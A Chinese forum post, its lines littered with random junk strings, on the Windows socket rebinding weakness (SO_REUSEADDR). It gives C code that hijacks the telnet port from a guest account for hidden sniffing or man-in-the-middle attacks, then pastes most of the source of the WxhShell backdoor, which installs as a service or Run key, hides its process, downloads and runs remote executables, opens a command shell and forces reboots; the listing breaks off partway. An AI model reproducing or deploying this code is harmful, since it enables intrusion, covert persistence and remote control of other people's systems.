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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P3jDx{F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f wWI2"}  
`PXSQf  
  saddr.sin_family = AF_INET; f }PT3  
ng(STvSh:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .S>:-j'u  
3K c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d/vF^v*o0X  
*.#d'~+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rK;F]ei  
-/*-e /+b  
  这意味着什么?意味着可以进行如下的攻击: d[;Sn:B  
w[~O@:`]<o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p^_2]%,QeM  
y, @I6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?xu5/r<  
rH"&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $TyV< G  
S 'S|k7Lp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?B3   
`?+lM  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (%=[J/F/  
oswS<t{Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I?}YS-2  
0"]N9N;/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8XZS BR(Z  
M >#kfSF+  
  #include X-%XZD B6  
  #include e~w-v"'  
  #include 7SOi9JU_  
  #include    49q\/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _yw]Cacr\  
  int main() Ea#wtow|-  
  { [LDsn]{  
  WORD wVersionRequested; 7t &KKKV  
  DWORD ret; Hg(%g T  
  WSADATA wsaData; 0\*[7!`s  
  BOOL val; sDA&U9;  
  SOCKADDR_IN saddr; ;L (dmx?  
  SOCKADDR_IN scaddr; MwMv[];I  
  int err; lcR53X  
  SOCKET s; Q^}6GS$  
  SOCKET sc; 9aky+  
  int caddsize; [+<lm 5t  
  HANDLE mt; tfW*(oU  
  DWORD tid;   $Tci_(V=F  
  wVersionRequested = MAKEWORD( 2, 2 ); ?UCK  
  err = WSAStartup( wVersionRequested, &wsaData ); >|Ps23J#  
  if ( err != 0 ) { BM9J/24  
  printf("error!WSAStartup failed!\n"); <RH2G   
  return -1; / qp)n">  
  } nA$zp  
  saddr.sin_family = AF_INET; %2>ya>/M  
   jI:5[. Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @k~'b  
uf4C+ci  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 32j@6!  
  saddr.sin_port = htons(23); s @\UZ C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0h^&`H:  
  { '}3@D$YiM%  
  printf("error!socket failed!\n"); ?Ho~6q8O@  
  return -1; Gzy"$t  
  } Qz6Ry\u  
  val = TRUE; Ni "n_Yun  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &} %rZU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >S/m(98  
  { ?[{_*qh  
  printf("error!setsockopt failed!\n"); >(nb8T|  
  return -1; S-@E  
  } ], Xva`"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7J?`gl&C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $KDH"J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y!JZWq%=  
^PHWUb+``  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >~C*m `#  
  { [AgS@^"sf5  
  ret=GetLastError(); 6bj.z  
  printf("error!bind failed!\n"); GddP)l{uCF  
  return -1; gYb}<[O!  
  } kex4U6&OQB  
  listen(s,2); :rr;9nMR[  
  while(1) )"SP >2}  
  { V}de|=  
  caddsize = sizeof(scaddr); 5>{  
  //接受连接请求 "W!Uxc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,.Xqb~  
  if(sc!=INVALID_SOCKET) 6%'bo`S#  
  { |oCE7'BaP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ';<gc5EK  
  if(mt==NULL) 1Q-O&\-xg  
  { =P>c1T1-  
  printf("Thread Creat Failed!\n"); cbsU!8  
  break; yKSvg5lLy  
  } 3!]S8Y*LQP  
  } s az<NT  
  CloseHandle(mt); Tp7*T8  
  } 3@xn<eu  
  closesocket(s); [wKnJu  
  WSACleanup(); w#ha ^4  
  return 0; o1I8l7  
  }   PU| X+V>  
  DWORD WINAPI ClientThread(LPVOID lpParam) L{XNOf3  
  { u17e  
  SOCKET ss = (SOCKET)lpParam; X'BFR]cm  
  SOCKET sc; ca~nfo  
  unsigned char buf[4096]; @nIoYT='  
  SOCKADDR_IN saddr; ks{y=@ <,  
  long num; gKyYBr  
  DWORD val; 9k5$rK`  
  DWORD ret; rDr3)*H?0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^eu={0k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =2-!ay:  
  saddr.sin_family = AF_INET; wLX:~]<xl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e6O+hC]:  
  saddr.sin_port = htons(23); !yxb=>A  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k;aV4 0N9  
  { ++b1VBP  
  printf("error!socket failed!\n"); +-8S,Rg@   
  return -1; T_T@0`7  
  } !{hC99q6  
  val = 100; c -1Hxd YD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~CTe5PX c  
  { zB,Vi-)vH  
  ret = GetLastError(); V)HX+D>  
  return -1; P[E:=p  
  } frsqnvm;+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j A/xe  
  { TCb 7-s  
  ret = GetLastError(); _wvSLu<q  
  return -1; w0`aW6t#  
  } `R\aNgCS}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iv3=J   
  { Rwu y!F  
  printf("error!socket connect failed!\n"); 2h Wtpus  
  closesocket(sc); h?cf)L  
  closesocket(ss); \J@i:J6x$1  
  return -1; AC`4n|,zJ;  
  } WX2:c,%:  
  while(1) ey icMy`7{  
  { 5G$sP,n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #2&DDy)B f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M}jF-z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f8Z[prfP  
  num = recv(ss,buf,4096,0); a?635*9K  
  if(num>0) fV}:eEo|Y  
  send(sc,buf,num,0); }F v:g!  
  else if(num==0) 4$HU=]b6Tf  
  break; ~3 ,>TV  
  num = recv(sc,buf,4096,0); .TI =3*`G  
  if(num>0) 8oAr<:.=  
  send(ss,buf,num,0); P~"e=NL5  
  else if(num==0) &nJH23h ^  
  break; B;k3YOg  
  } HLD8W8  
  closesocket(ss); 6R.%I{x'  
  closesocket(sc); l+%2kR  
  return 0 ; 16;r+.FB'  
  } n2e#rn  
cM'\u~m{  
V5]}b[X  
========================================================== j=&]=0F  
Wc6Jgpl  
下边附上一个代码,,WXhSHELL uv&??F]/  
k PuY[~i%  
========================================================== pQ:7%+Om  
;F)j,Ywi)H  
#include "stdafx.h" QJeL&mf  
LIm{Y`XU  
#include <stdio.h> <FaF67[Q  
#include <string.h> 8XS_I{}?  
#include <windows.h> ](^$5Am  
#include <winsock2.h> H%`$@U>  
#include <winsvc.h> 1R}rL#h;=  
#include <urlmon.h> {>x6SVF  
he/WqCZg  
#pragma comment (lib, "Ws2_32.lib") !xqy6%p  
#pragma comment (lib, "urlmon.lib") !z EW)  
9FGe (t <  
#define MAX_USER   100 // 最大客户端连接数 *wvd[q h  
#define BUF_SOCK   200 // sock buffer *9XKkR<r  
#define KEY_BUFF   255 // 输入 buffer QQ*` tmy  
o#p{0y  
#define REBOOT     0   // 重启 [i"6\p&  
#define SHUTDOWN   1   // 关机 #o>~@.S#:0  
/Qa'\X,f3  
#define DEF_PORT   5000 // 监听端口 yniXb2iM  
n5Coxvy1  
#define REG_LEN     16   // 注册表键长度 c >8I M  
#define SVC_LEN     80   // NT服务名长度 8 ztVv   
/b|V=j}W  
// 从dll定义API nM=5L:d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s *8)|N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n8FmIoZ&`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @pV~Q2%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `f|Gw5R  
sf7~hN*  
// wxhshell配置信息 Fj_6jsDb  
struct WSCFG { )U2cS\k'7n  
  int ws_port;         // 监听端口 H}ie D"T_  
  char ws_passstr[REG_LEN]; // 口令 x/<eY<Vgm?  
  int ws_autoins;       // 安装标记, 1=yes 0=no -2D/RE7|  
  char ws_regname[REG_LEN]; // 注册表键名 @k|V4  
  char ws_svcname[REG_LEN]; // 服务名 Lm!/ iseGv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -za+Wa`vH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <~d3L4h*<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ryC7O'j_P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no iJ-z&=dOe  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lR<1x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [|5gw3 y  
>'/KOK"  
}; X&bz%I>v  
nq/SGo[c  
// default Wxhshell configuration s%6{X48vY^  
struct WSCFG wscfg={DEF_PORT, D  ,U#z  
    "xuhuanlingzhe", , z-#B]  
    1, 9"g!J|+  
    "Wxhshell", 6_&uYA<8pE  
    "Wxhshell", VB}4#-dG?  
            "WxhShell Service", y E; n. L  
    "Wrsky Windows CmdShell Service", f4mQDRlD  
    "Please Input Your Password: ", -;1nv:7Z3  
  1, l KdY!j"  
  "http://www.wrsky.com/wxhshell.exe", yPn!1=-(  
  "Wxhshell.exe"  cFV)zFu  
    }; ;Xr|['\'  
u&E$(  
// 消息定义模块 i".nnAI:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T4c]VWtD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +46m~" ]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F%-KY$%  
char *msg_ws_ext="\n\rExit."; /b;GC-"v  
char *msg_ws_end="\n\rQuit."; j#f7-nHyz8  
char *msg_ws_boot="\n\rReboot..."; @L-] %C  
char *msg_ws_poff="\n\rShutdown..."; crDm2oA~t  
char *msg_ws_down="\n\rSave to "; J#/L}h;qH  
##\ <mFE  
char *msg_ws_err="\n\rErr!"; *LZB.84  
char *msg_ws_ok="\n\rOK!"; FD1Z}v!5IJ  
=O.%)|  
char ExeFile[MAX_PATH]; "0V8i%a  
int nUser = 0; m4m,-}KNi  
HANDLE handles[MAX_USER]; <N~&Leh  
int OsIsNt; -W\1n#J  
&{R]v/{p]  
SERVICE_STATUS       serviceStatus; (K74Qg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s(?A=JJ  
c %f'rj  
// 函数声明 v PJ=~*P=  
int Install(void); 1y{@fg~..  
int Uninstall(void); R'z -#*[  
int DownloadFile(char *sURL, SOCKET wsh); ir?Y>  
int Boot(int flag); =qNZ7>Qw  
void HideProc(void); bC SgdK  
int GetOsVer(void); &F 3'tf?  
int Wxhshell(SOCKET wsl); + lNAog  
void TalkWithClient(void *cs); "J=A(w5   
int CmdShell(SOCKET sock); X }""= S<  
int StartFromService(void); wvnuE<o8  
int StartWxhshell(LPSTR lpCmdLine); NDo>"in  
37U2Tb!y '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LP{@r ic  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gP^p7aYwn  
.S6u{B  
// 数据结构和表定义 |bM?Q$>~  
SERVICE_TABLE_ENTRY DispatchTable[] = Cvgk67C=$  
{ .B?J@,  
{wscfg.ws_svcname, NTServiceMain}, ~USU\dni  
{NULL, NULL} qrLE1b 1$  
}; oScKL#Hu  
tB<2mjg  
// 自我安装 * ak"}s  
int Install(void) d^:(-2l-  
{ T!ik"YZ@i  
  char svExeFile[MAX_PATH]; a{y"vVQOF  
  HKEY key; gwQk M4  
  strcpy(svExeFile,ExeFile); 4f-I,)qCBk  
O Bp&64  
// 如果是win9x系统,修改注册表设为自启动 >>I~v)a>w  
if(!OsIsNt) { \)/dFo\l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BK[ YX)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R]xXG0  
  RegCloseKey(key); 7.!`c-8 u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fEYo<@5c]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |K11Woii  
  RegCloseKey(key); q)F@f /  
  return 0; xU(yc}vw,  
    } ^;DbIo\6H  
  } =JM !`[  
} (\A~SKEX  
else { WW.amv/[a  
>=VtL4K^  
// 如果是NT以上系统,安装为系统服务 M!Wjfq ^~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a(|,KWHn  
if (schSCManager!=0) 92pl#Igt  
{ ,b!]gsds  
  SC_HANDLE schService = CreateService F8En )#  
  ( rd0[(-  
  schSCManager, eN Y?  
  wscfg.ws_svcname, cpJ(77e  
  wscfg.ws_svcdisp, sR*.i?lN  
  SERVICE_ALL_ACCESS, =.9uuF:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /)LI1\ o  
  SERVICE_AUTO_START, r)/nx@x  
  SERVICE_ERROR_NORMAL, w.9'TR  
  svExeFile, m{ VC1BkZ  
  NULL, 9i`sSi8   
  NULL, iL\eMa  
  NULL, <`Q*I Y  
  NULL, n^+rxG6 L  
  NULL j{: >"6  
  ); _N2tf/C&=  
  if (schService!=0) -A3>+G3[  
  { Y?b4* me  
  CloseServiceHandle(schService); @`S8d%6P  
  CloseServiceHandle(schSCManager); snccDuS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #>[5NQ;$'  
  strcat(svExeFile,wscfg.ws_svcname); !tckE\ h#N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1XD|H_JG<j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TxDzGC  
  RegCloseKey(key); kE*OjywN  
  return 0; QmRE<i  
    } XL2iK)A  
  } #->#mshd4  
  CloseServiceHandle(schSCManager); Vv<Tjr  
} ??g`c=R!V  
} hrZ=8SrW  
D@ R>gqb  
return 1; 8Z1pQx-P2C  
} Kulh:d:w  
+:D90p$e  
// 自我卸载 q7-.-k<dQ  
int Uninstall(void) _6/q.  
{ lWe1Q#  
  HKEY key; .C7;T'>!  
25-5X3(>j=  
if(!OsIsNt) { GJB= 5nE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e/nc[  
  RegDeleteValue(key,wscfg.ws_regname); :f|X$> b  
  RegCloseKey(key); dLnu\bSF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,f2tG+P  
  RegDeleteValue(key,wscfg.ws_regname); [7|j:!  
  RegCloseKey(key); tMnwY'  
  return 0; Rd|xw%R\mb  
  } @!MhVNS_<  
} /'uFX,  
} SPEDN}/^  
else { /N?vVp  
v<SCh)[-p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  d(>  
if (schSCManager!=0) oyt#CHX  
{ yD n8{uI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CTOrBl$70  
  if (schService!=0) U 2@Mxw  
  { ocbNf'W;  
  if(DeleteService(schService)!=0) { N-9qNLSP  
  CloseServiceHandle(schService); @*}?4wU^k  
  CloseServiceHandle(schSCManager); zJCm0HLJ  
  return 0; f:6%DT~a&C  
  } 5J0Sc  
  CloseServiceHandle(schService); b( qO fek  
  } <6L=% \X{*  
  CloseServiceHandle(schSCManager); 1;$8=j2  
} qZ79IX'y  
} F')fi0=  
sM0o,l(5  
return 1; oPVyLD  
} D3i`ehh  
5lp};  
// 从指定url下载文件 IQ3]fLb  
int DownloadFile(char *sURL, SOCKET wsh) R]8^ @i1  
{ x-3!sf@  
  HRESULT hr; I X]K "hT  
char seps[]= "/"; TA~YCj$  
char *token; &GetRDr  
char *file; KE k]<b=  
char myURL[MAX_PATH]; Q*h%'oc`  
char myFILE[MAX_PATH]; jh|4Y(  
SSh=r  
strcpy(myURL,sURL); +&:?*(?Q  
  token=strtok(myURL,seps); v!b 8_0~u6  
  while(token!=NULL) :(o6^%x  
  { i9FtS7  
    file=token; 5PXo1"n8T  
  token=strtok(NULL,seps); Q[U_ 0O,A9  
  } |loo ^!I  
x22:@Ot6  
GetCurrentDirectory(MAX_PATH,myFILE); AT6:&5_`  
strcat(myFILE, "\\"); Jfkdiyy"  
strcat(myFILE, file); n$S`NNO{]  
  send(wsh,myFILE,strlen(myFILE),0); O alBr?^  
send(wsh,"...",3,0); {ylhh%t4hi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ad@Odx=o*R  
  if(hr==S_OK) y?1<7>L5~  
return 0; 3-T}8VsiP  
else 9*lkx#  
return 1; 5_}e?T&s  
01P ~K|s  
} :?}U Z#  
l*+5WrOS  
// 系统电源模块 _P]!J~$5  
int Boot(int flag) ZJ7<!?6  
{ xQetAYP`  
  HANDLE hToken; |8s)kQ4$  
  TOKEN_PRIVILEGES tkp; &K*x[  
cx(W{O"Jb  
  if(OsIsNt) { sivd@7r\Fa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mGK-&|gq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5v uB87`  
    tkp.PrivilegeCount = 1; qXQ/M]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k;?Oi?]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \f AL:mJ  
if(flag==REBOOT) { Z_F}Y2-w9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~SW_jiKM  
  return 0; }}VB#   
} -#nfO*H}  
else { S _B $-H|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tKik)ei  
  return 0; `S{Blv  
} R1%2]?  
  } {MaFv  
  else {  / hl:p  
if(flag==REBOOT) { =`l).GnN2`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { _]'EK/w  
  return 0; 5"]t{-PD  
} >,JA=s  
else { kZ0|wML8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Jrkj foN  
  return 0; $m:4'r  
} D<m+M@u  
} D=Pv:)*]  
a V4p0s6ZZ  
return 1; u*<G20~A  
} nnZ|oEF  
VTQxg5P c  
// win9x进程隐藏模块 y@L-qO+{&  
void HideProc(void) 8jnz;;|  
{ NNt,J;  
>+ZD 6l/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _(q|W3  
  if ( hKernel != NULL ) gDmwJr  
  { Nm 0kMq|h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zgdOugmmt_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {Y%X  
    FreeLibrary(hKernel); Z{|U!tn  
  } XU}|Ud562  
UBUZ}ZIbN  
return; ;'B\l@U\  
} ~$zodrS9  
Uv-xP(X  
// 获取操作系统版本 osJ;"B36  
int GetOsVer(void) c 4<~? L  
{ K`9ph"(Z  
  OSVERSIONINFO winfo; oM@X)6P_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _l`s}yC  
  GetVersionEx(&winfo); W|PKcZ ]Uc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WaV P+Ap  
  return 1; 0wzq{~\{=_  
  else S'I{'jP5  
  return 0; -n-rKN.T  
} ;!CYp; _  
ydNcbF%K  
// 客户端句柄模块 mkCv  f  
int Wxhshell(SOCKET wsl) nr#DE?  
{ (]Z$mv!  
  SOCKET wsh; [S}o[v\  
  struct sockaddr_in client; e6n^l $'  
  DWORD myID; _%)v9}D  
%#.H FK  
  while(nUser<MAX_USER) 4DL;/Z:  
{ T4\F=iw4  
  int nSize=sizeof(client); WCbv5)uTUs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !KUV ,>L  
  if(wsh==INVALID_SOCKET) return 1; Di3<fp#w#  
4No!`O-!&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uM8YY[b  
if(handles[nUser]==0) *S).@j\{W  
  closesocket(wsh); BVx: JiA  
else %C]K`=vI-  
  nUser++; fR>(b?C  
  } ldJ:A*/M6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E47U &xL  
Q1G?e,Q  
  return 0; He4sP` &I  
} uLw$`ihw  
n=vW oU9  
// 关闭 socket *{]9e\DF  
void CloseIt(SOCKET wsh) p7"o:YSQ  
{ \(lt [=  
closesocket(wsh); lg0iNc!  
nUser--; C ^@~  
ExitThread(0); 8 0>qqz  
} e ,_b  
glk_ *x  
// 客户端请求句柄 <t{T]i+  
void TalkWithClient(void *cs) v'C`;I  
{ !O=J8;oLk  
Wmp,,H  
  SOCKET wsh=(SOCKET)cs; FDB^JH9d  
  char pwd[SVC_LEN]; 5Pis0fa  
  char cmd[KEY_BUFF]; ]_S&8F}|  
char chr[1]; =o5ZcC  
int i,j; -Bqn^ E  
`}s$cgEG  
  while (nUser < MAX_USER) { t@Qs&DZ7k  
G[YbgG=9Y  
if(wscfg.ws_passstr) { 1;p'2-x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  0u4:=Z}W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $1N_qu  
  //ZeroMemory(pwd,KEY_BUFF); Hnwir!=7  
      i=0; <;d?E%`  
  while(i<SVC_LEN) { &Bbs\ ;  
a G^kL  
  // 设置超时 54kd>)|"ag  
  fd_set FdRead; S6 F28 d[j  
  struct timeval TimeOut; nn@"68]g  
  FD_ZERO(&FdRead); N\IdZX%u  
  FD_SET(wsh,&FdRead); )#9R()n!  
  TimeOut.tv_sec=8; kfo, PrW`A  
  TimeOut.tv_usec=0; klG]PUzd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3S-nsMs.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .c'EXuI7),  
~y+QL{P4~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %C%~f {4  
  pwd=chr[0]; fbKL31PI  
  if(chr[0]==0xd || chr[0]==0xa) { FO{K=9O  
  pwd=0; Be{7Rj v  
  break; OLc/Vij;  
  } )o'&f"/  
  i++; dZ&/Iz  
    } j+:q:6=  
lm}mXFf#  
  // 如果是非法用户,关闭 socket 3&!X8Lhv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C,R_` %b%  
} 3u7^*$S  
/JL2dBy#z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d18%zY>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F/[vg  
9l?#ZuGXp  
while(1) { O $uXQ.r  
B:=*lU.n  
  ZeroMemory(cmd,KEY_BUFF); q<rB(j-(  
Ti }Ljp^O  
      // 自动支持客户端 telnet标准   bWK}oYB*  
  j=0; Pe w-6u"  
  while(j<KEY_BUFF) { p]uwGWDI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B98&JoS  
  cmd[j]=chr[0]; g]9!Pi8jn  
  if(chr[0]==0xa || chr[0]==0xd) { \?-`?QPux  
  cmd[j]=0; lH/d#MT   
  break; ajuwP1I  
  } YLSp$d4y  
  j++; Z |uII#lq  
    } 'G3B02*  
)/h~csy:~  
  // 下载文件 *P&ZE   
  if(strstr(cmd,"http://")) {  Hq h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *p{wC r  
  if(DownloadFile(cmd,wsh)) 8Letpygm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WRQJ6B  
  else Vd[[<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NaC^q*>9  
  } P ?dE\Po7  
  else { 0[g8  
zp>q$e40  
    switch(cmd[0]) { _8b)Xx@5  
  pC0l}hnUg  
  // 帮助 X62h7?'Pd  
  case '?': { 'u$e2^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s4bLL  
    break; c6 cGl]FL  
  } WR=e$ ;  
  // 安装 MNNPBE  
  case 'i': { Sc;WraEn2  
    if(Install()) GcQO&oq|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Gi~VW.  
    else *4Cq,o`o>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x|G# oG)_  
    break; |l(rR06#.]  
    } s8 .OL_e  
  // 卸载 LbDhPG`u  
  case 'r': { @a) x^d  
    if(Uninstall()) zlIXia5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dL'hC#!h  
    else VL"!.^'c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "; tl>Ot  
    break; >bWsUG9  
    } >}h/$bU  
  // 显示 wxhshell 所在路径 ,JyE7h2%i  
  case 'p': { k6-Q3W[+a  
    char svExeFile[MAX_PATH]; vRYQ4B4o  
    strcpy(svExeFile,"\n\r"); -J4?Km  
      strcat(svExeFile,ExeFile); ^EE 3E'  
        send(wsh,svExeFile,strlen(svExeFile),0); Y[9x\6 _E  
    break; 7Xm7{`jH  
    } .asHFT7]9  
  // 重启 \"c;MK{  
  case 'b': { =1fO"|L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g<O*4 ]=  
    if(Boot(REBOOT)) -Y%#z'^-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XiBRs e  
    else { ncf=S(G+  
    closesocket(wsh); e&?o  
    ExitThread(0); g,U~3#   
    } MjNCn&c  
    break; %>}6>nT#  
    } $}r*WZ  
  // 关机 M%+l21&  
  case 'd': { {.O Bcx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o0^'x Vv  
    if(Boot(SHUTDOWN)) a(s}Ec${Z  
